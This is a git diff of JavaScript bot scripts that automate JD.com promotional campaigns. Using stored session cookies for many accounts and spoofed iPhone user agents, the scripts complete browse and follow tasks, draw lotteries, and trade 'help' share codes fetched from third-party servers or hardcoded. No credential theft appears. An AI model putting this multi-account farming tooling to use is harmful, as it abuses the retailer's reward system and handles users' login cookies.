28800000;//UTC-0时区加上8个小时 + } + // await updateShareCodes(); + // if (!$.updatePkActivityIdRes) await updateShareCodesCDN(); + if ($.updatePkActivityIdRes && $.updatePkActivityIdRes['shareCodes']) tempCode = $.updatePkActivityIdRes['shareCodes']; + console.log(`是否大于当天九点🕘:${nowTime > new Date(nowTime).setHours(9, 0, 0, 0)}`) + //当天大于9:00才从API里面取收集的助力码 + //if (nowTime > new Date(nowTime).setHours(9, 0, 0, 0)) body = await printAPI();//访问收集的互助码 + body = await printAPI();//访问收集的互助码 + if (body && body['data']) { + // console.log(`printAPI返回助力码数量:${body.replace(/"/g, '').split(',').length}`) + // tempCode = tempCode.concat(body.replace(/"/g, '').split(',')) + tempCode = [...tempCode, ...body['data']] + } + console.log(`累计助力码数量:${tempCode.length}`) + //去掉重复的 + tempCode = [...new Set(tempCode)]; + console.log(`去重后总助力码数量:${tempCode.length}`) + for (let item of tempCode) { + if (!item) continue; + const helpRes = await toHelp(item.trim()); + if (helpRes.data.status === 5) { + console.log(`助力机会已耗尽,跳出助力`); + break; + } + } +} +function printAPI() { + return new Promise(resolve => { + $.get({url: `${printUrl}`, 'timeout': 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function toHelp(code) { + return new Promise(resolve => { + const options = { + "url": `${JD_API_HOST}task/toHelp`, + "body": `shareId=${code}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://rdcseason.m.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie, + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Referer": "https://rdcseason.m.jd.com/", + "Content-Length": "44", + "Accept-Language": "zh-cn" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`助力结果:${data}`); + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getHelp() { + return new Promise(resolve => { + const options = { + "url": `${JD_API_HOST}task/getHelp?t=${Date.now()}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`\n您的助力码shareId(互助码每天都是变化的)\n\n"${data.data.shareId}",\n`); + // console.log(`每日9:00以后复制下面的URL链接在浏览器里面打开一次就能自动上车\n\n${addUrl}${data.data.shareId}\n`); + let ctrTemp; + if ($.isNode() && process.env.JD_818_SHAREID_NOTIFY) { + console.log(`环境变量JD_818_SHAREID_NOTIFY::${process.env.JD_818_SHAREID_NOTIFY}`) + ctrTemp = `${process.env.JD_818_SHAREID_NOTIFY}` === 'true'; + } else { + ctrTemp = `${jdNotify}` === 'true'; + } + // console.log(`是否发送上车推送链接:${ctrTemp ? '是' : '否'}`) + // // 只在早晨9点钟触发一次 + // let NowHours = new Date().getHours(); + // const zone = new Date().getTimezoneOffset(); + // if (zone === 0) { + // NowHours += 8;//UTC-0时区加上8个小时 + // } + // if (ctrTemp && NowHours === 9 && $.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}互助码自动上车`, `[9:00之后上车]您的互助码上车链接是 ↓↓↓ \n\n ${addUrl}${data.data.shareId} \n\n ↑↑↑`, { + // url: `${addUrl}${data.data.shareId}` + // }) + // await $.http.get({url: `http://jd.turinglabs.net/helpcode/add/${data.data.shareId}/`}).then((resp) => { + // console.log(resp); + // return + // if (resp.statusCode === 200) { + // const { body } = resp; + // } + // }); + $.temp.push(data.data.shareId); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//获取当前活动总京豆数量 +function getListJbean() { + return new Promise(resolve => { + const options = { + "url": `${JD_API_HOST}task/listJbean?pageNum=1`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + $.jbeanCount = data.data.jbeanCount; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getListIntegral() { + return new Promise(resolve => { + const options = { + "url": `${JD_API_HOST}task/listIntegral?pageNum=1`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + $.integralCount = data.data.integralCount; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//查询今日累计积分与排名 +function getListRank() { + return new Promise(resolve => { + const options = { + "url": `${JD_API_HOST}task/listRank?t=${Date.now()}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + if (data.data.my) { + $.integer = data.data.my.integer; + $.num = data.data.my.num; + } + if (data.data.last) { + $.lasNum = data.data.last.num; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function updateShareCodes(url = 'https://raw.githubusercontent.com/xxxx/updateTeam/master/jd_shareCodes.json') { + return new Promise(resolve => { + $.get({url}, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + } else { + $.updatePkActivityIdRes = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function updateShareCodesCDN(url = 'https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_shareCodes.json') { + return new Promise(resolve => { + $.get({url , headers:{"User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")}}, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.updatePkActivityIdRes = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function showMsg() { + let nowTime = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; + if (nowTime > new Date(activeEndTime).getTime()) { + $.msg($.name, '活动已结束', `该活动累计获得京豆:${$.jbeanCount}个\n请删除此脚本\n咱江湖再见`); + if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `请删除此脚本\n咱江湖再见`) + } else { + $.msg($.name, `京东账号${$.index} ${$.nickName || $.UserName}`, `${$.jbeanCount ? `${$.integer ? `当前获得积分:${$.integer}个\n` : ''}${$.num ? `当前排名:${$.num}\n` : ''}当前参赛人数:${$.lasNum}人\n累计获得京豆:${$.jbeanCount}个🐶\n` : ''}${$.jbeanCount ? `累计获得积分:${$.integralCount}个\n` : ''}${$.jbeanNum ? `${$.date}日奖品:${$.jbeanNum}\n` : ''}具体详情点击弹窗跳转后即可查看`, {"open-url": "https://rdcseason.m.jd.com/#/hame"}); + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_apple_live.js b/activity/jd_apple_live.js new file mode 100644 index 0000000..27fa552 --- /dev/null +++ b/activity/jd_apple_live.js @@ -0,0 +1,417 @@ +/* +苹果抽奖机 +脚本会给内置的码进行助力 +活动于2020-12-14日结束 +活动地址:https://h5.m.jd.com/babelDiy/Zeus/2zwQnu4WHRNfqMSdv69UPgpZMnE2/index.html/ +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#苹果抽奖机 +10 0 * * * jd_apple_live.js, tag=苹果抽奖机, enabled=true + +================Loon============== +[Script] +cron "10 0 * * *" script-path=jd_apple_live.js,tag=苹果抽奖机 + +===============Surge================= +苹果抽奖机 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_apple_live.js + +============小火箭========= +苹果抽奖机 = type=cron,script-path=jd_apple_live.js, cronexpr="10 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('苹果抽奖机'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const inviteCodes = [`P04z54XCjVUm4aW5nJcXCCyoR8C6s-kRmWs@P04z54XCjVUm4aW5m9cZ2bx3y5Ow@P04z54XCjVUm4aW5u2ak7ZCdan1BeYMuZ9HwF34gJjW@P04z54XCjVUm4aW5m9cZ2T6jChKkkjZEdhiKUY`, `P04z54XCjVUm4aW5nJcXCCyoR8C6s-kRmWs@P04z54XCjVUm4aW5m9cZ2bx3y5Ow`]; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat(); + await jdHealth() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdHealth() { + await helpFriends(); + await jdapple_getTaskDetail(); + await doTask(); + await jdapple_getTaskDetail(0); + if($.userInfo.scorePerLottery<=$.userInfo.userScore){ + console.log(`当前用户金币: ${$.userInfo.userScore},抽奖需要${$.userInfo.scorePerLottery},开始抽奖`) + message += `当前用户金币: ${$.userInfo.userScore},抽奖需要${$.userInfo.scorePerLottery},开始抽奖\n` + for(let i=0;i { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + if (new Date().getHours() === 23) { + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + const helpRes = await jdapple_collectScore(code,6,null); + if (helpRes.code === 0 && helpRes.data.bizCode === -7) { + console.log(`助力机会已耗尽,跳出`); + break + } + } +} +async function doTask() { + for (let item of $.taskVos) { + if (item.taskType === 9||item.taskType === 26) { + //逛会场任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`) + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await jdapple_collectScore(task.taskToken,item.taskId,task.itemId,1); + await $.wait(6500) + await jdapple_collectScore(task.taskToken,item.taskId,task.itemId,0); + } + } + } else if(item.status!==4){ + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 8) { + // 浏览商品任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`) + for (let task of item.productInfoVos) { + if (task.status === 1) { + await jdapple_collectScore(task.taskToken,item.taskId,task.itemId,1); + await $.wait(15000) + await jdapple_collectScore(task.taskToken,item.taskId,task.itemId,0); + } + } + } else if(item.status!==4){ + console.log(`${item.taskName}已做完`) + } + } + + if (item.taskType === 1) { + // 关注任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`) + for (let task of item.followShopVo) { + if (task.status === 1) { + console.log(`去关注 ${task.shopName}`) + await jdapple_collectScore(task.taskToken,item.taskId,task.itemId,1); + await $.wait(1000) + await jdapple_collectScore(task.taskToken,item.taskId,task.itemId,0); + } + } + } else if(item.status!==4){ + console.log(`${item.taskName}已做完`) + } + } + + } +} + +//领取做完任务的奖励 +function jdapple_collectScore(taskToken, taskId, itemId, actionType=0) { + return new Promise(resolve => { + let body = { "appId":"1EFRTxw","taskToken":taskToken,"taskId":taskId,"itemId":itemId,"actionType":actionType } + $.post(taskPostUrl("harmony_collectScore", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.data.bizCode === 1){ + console.log(`任务领取成功`); + message += `任务领取成功\n` + } + else if (data.data.bizCode === 0) { + if(data.data.result.taskType===6){ + console.log(`助力好友:${data.data.result.itemId}成功!`) + message += `助力好友:${data.data.result.itemId}成功!\n` + }else { + console.log(`任务完成成功`); + } + + } else { + console.log(`${data.data.bizMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 抽奖 +function jdapple_getLottery() { + return new Promise(resolve => { + let body = { "appId":"1EFRTxw"} + $.post(taskPostUrl("interact_template_getLotteryResult", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`抽奖成功,获得:${JSON.stringify(data.data.result.userAwardsCacheDto)}`); + message+= `抽奖成功,获得:${JSON.stringify(data.data.result.userAwardsCacheDto)}\n` + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function jdapple_getTaskDetail(get=1) { + return new Promise(resolve => { + $.post(taskPostUrl("healthyDay_getHomeData", {"appId":"1EFRTxw","taskToken":""}, ), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos;//任务列表 + $.userInfo = data.data.result.userInfo; + if(get) + $.taskVos.map(item => { + if (item.taskType === 14) { + console.log(`\n您的${$.name}好友助力邀请码:${item.assistTaskDetailVo.taskToken}\n`) + message += `\n您的${$.name}好友助力邀请码:${item.assistTaskDetailVo.taskToken}\n` + } + }) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `http://api.turinglabs.net/api/v1/jd/jdapple/read/${randomCount}/`}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + // await $.wait(2000); + // resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = null //await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + const shareCodes = [] //$.isNode() ? require('./jdSplitShareCodes.js') : ''; + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": 